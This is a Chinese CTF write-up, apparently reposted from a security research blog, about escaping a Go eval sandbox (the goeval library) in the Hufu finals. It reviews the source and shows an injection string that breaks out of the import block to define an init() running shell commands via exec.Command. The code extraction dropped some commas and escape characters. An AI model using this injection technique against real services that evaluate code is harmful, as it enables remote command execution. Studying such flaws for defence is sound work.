GO语言安全 — 沙箱逃逸题目分析

渗透技巧 2年前 (2022) admin
976 0 0
01
 前言 
GO语言安全 — 沙箱逃逸题目分析
Sandbox(又叫沙箱、沙盘)即是一个虚拟系统程序,允许你在沙盘环境中运行浏览器或其他程序,因此运行所产生的变化可以随后删除。它创造了一个类似沙盒的独立作业环境,在其内部运行的程序并不能对硬盘产生永久性的影响。在网络安全中,沙箱指在隔离环境中,用以测试不受信任的文件或应用程序等行为的工具。虎符决赛遇到一道Go语言沙箱逃逸的题目,借此我们来分析一下goeval这个GO语言第三方库的逃逸问题。

02
 代码审计 
GO语言安全 — 沙箱逃逸题目分析
代码中可以看出来程序主要引用了goeval中的EVAL库,我们从GITHUB中可以看到该库的基本用法,可以看出该库的基本用法与其他语言的EVAL无异。
package main

import (
    "fmt"
    "github.com/PaulXu-cn/goeval"
)

func main() {
    if re, err := goeval.Eval("""fmt.Print("Hello World!")""fmt"); nil == err {
        fmt.Println(string(re))
    } else {
        fmt.Println(err.Error())
    }
}
题目源码:
package main

import (
 eval "github.com/PaulXu-cn/goeval"
 "github.com/gin-gonic/gin"
 "regexp"
)

func main() {
 r := gin.Default()
 r.LoadHTMLFiles("html/index.html""html/result.html")
 r.GET("/"func(c *gin.Context) {
  c.Header("server""Gin")
  c.HTML(200"index.html""")
 })
 r.POST("/parse"func(c *gin.Context) {
  expression := c.DefaultPostForm("expression""6")
  Package := c.DefaultPostForm("Package""fmt")
  match, _ := regexp.MatchString("([a-zA-Z]+)", expression)
  if match {
   c.String(200"Hacker????")
   return
  } else {
   if res, err := eval.Eval("""fmt.Print("+expression+")", Package); nil == err {
    c.HTML(200"result.html", gin.H{"result"string(res)})
   } else {
    c.HTML(200"result.html", err.Error())
   }
  }
 })
 r.Run()
}

但是题目我们可以看到EVAL的第二个参数是被限定死的,它使用了正则表达式对第二个参数进行了过滤,不允许使用字母。但是第三个参数是可以完全可控。我们研究一下goeval的源码。
package goeval

import (
 "fmt"
 "go/format"
 "math/rand"
 "os"
 "os/exec"
 "strings"
 "time"
)

const (
 letterBytes = "abcdefghijklmnopqrstuvwxyz"
 letterIdxBits = 6                    // 6 bits to represent a letter index
 letterIdxMask = 1<<letterIdxBits - 1 // All 1-bits, as many as letterIdxBits
 letterIdxMax  = 63 / letterIdxBits   // # of letter indices fitting in 63 bits
)

var (
 dirSeparator = "/"
 tempDir      = os.TempDir()
 src          = rand.NewSource(time.Now().UnixNano())
)

// 参考: https://colobu.com/2018/09/02/generate-random-string-in-Go/
func RandString(n int) string {
 b := make([]byte, n)
 // A src.Int63() generates 63 random bits, enough for letterIdxMax characters!
 for i, cache, remain := n-1, src.Int63(), letterIdxMax; i >= 0; {
  if remain == 0 {
   cache, remain = src.Int63(), letterIdxMax
  }
  if idx := int(cache & letterIdxMask); idx < len(letterBytes) {
   b[i] = letterBytes[idx]
   i--
  }
  cache >>= letterIdxBits
  remain--
 }
 return string(b)
}

func Eval(defineCode string, code string, imports ...string) (re []byte, err error) {
 var (
  tmp = `package main

%s

%s

func main() {
%s
}
`

  importStr string
  fullCode string
   newTmpDir = tempDir + dirSeparator + RandString(8)
 )
 if 0 < len(imports) {
  importStr = "import ("
  for _, item := range imports {
   if blankInd := strings.Index(item, " "); -1 < blankInd {
    importStr += fmt.Sprintf("n %s "%s"", item[:blankInd], item[blankInd+1:])
   } else {
    importStr += fmt.Sprintf("n"%s"", item)
   }
  }
  importStr += "n)"
 }
 fullCode = fmt.Sprintf(tmp, importStr, defineCode, code)

 var codeBytes = []byte(fullCode)
 // 格式化输出的代码
 if formatCode, err := format.Source(codeBytes); nil == err {
  // 格式化失败,就还是用 content 吧
  codeBytes = formatCode
 }
// fmt.Println(string(codeBytes))
 // 创建目录
 if err = os.Mkdir(newTmpDir, os.ModePerm); nil != err {
  return
 }
 defer os.RemoveAll(newTmpDir)
 // 创建文件
 tmpFile, err := os.Create(newTmpDir + dirSeparator + "main.go")
 if err != nil {
  return re, err
 }
 defer os.Remove(tmpFile.Name())
 // 代码写入文件
 tmpFile.Write(codeBytes)
 tmpFile.Close()
 // 运行代码
 cmd := exec.Command("go""run", tmpFile.Name())
 res, err := cmd.CombinedOutput()
 return res, err
}
从源码中我们也可以基本看出该库的基本逻辑,就是先把参数通过格式化字符串的方式装配成符合GO语言的格式,将文件保存后进行编译将编译运行的结果返回来.我们通过下面的代码可以看出,EVAL函数是两个固定的参数和一个不定量参数。
func Eval(defineCode string, code string, imports ...string) (re []byte, err error) {
在题目代码中,第一个参数是写死的,第二个参数是不允许字母的,完全可控的就是第三个参数了,我们可以看到第三个参数在代码中的调用。
 var (
  tmp = `package main

%s

%s

func main() {
%s
}
`

  importStr string
  fullCode string
   newTmpDir = tempDir + dirSeparator + RandString(8)
 )
 if 0 < len(imports) {
  importStr = "import ("
  for _, item := range imports {
   if blankInd := strings.Index(item, " "); -1 < blankInd {
    importStr += fmt.Sprintf("n %s "%s"", item[:blankInd], item[blankInd+1:])
   } else {
    importStr += fmt.Sprintf("n"%s"", item)
   }
  }
  importStr += "n)"
 }
 fullCode = fmt.Sprintf(tmp, importStr, defineCode, code)
第三个参数可以明显知道,他会直接将代码拼接在tmp变量的第二个参数。而第二个参数是拼接进入import()中间的,我们需要逃逸单引号和括弧。需要注意的是要逃逸imoort中最后一个括弧是大家都知道是使用(将其补全,但是在func外面我们是无法使用函数进行补全的,这时候我们需要定义一个常量,使用coust进行闭合,这样就不会产生语法错误了。我们写个脚本进行简单的逃逸测试:
package main

import (
 "fmt"
 "strings"
 "os/exec"
)

func Eval(imports ...string) (re []byte, err error) {
 var importStr string 
 if 0 < len(imports) {
  importStr = "import ("
  for _, item := range imports {
   if blankInd := strings.Index(item, " "); -1 < blankInd {
    importStr += fmt.Sprintf("n %s "%s"", item[:blankInd], item[blankInd+1:])
   } else {
    importStr += fmt.Sprintf("n"%s"", item)
   }
  }
  importStr += "n)"
 }
 fmt.Println(importStr)
 cmd := exec.Command("ls")
 res, err := cmd.CombinedOutput()
 return res, err 
}


func main() {
 Eval("os/exec"n"fmt")nfunctinit(){ncmdt:=exec.Command("ls")nres,errt:=tcmd.CombinedOutput()nfmt.Println(string(res))nfmt.Println(err)n}nconst(nMessage="fmt"
}
测试如下,经过EVAL后我们生成了右边的代码。
GO语言安全 — 沙箱逃逸题目分析
构造EXP直接读取flag:
GO语言安全 — 沙箱逃逸题目分析
 


原文始发于微信公众号(山石网科安全技术研究院):GO语言安全 — 沙箱逃逸题目分析

版权声明:admin 发表于 2022年9月6日 上午10:54。
转载请注明:GO语言安全 — 沙箱逃逸题目分析 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...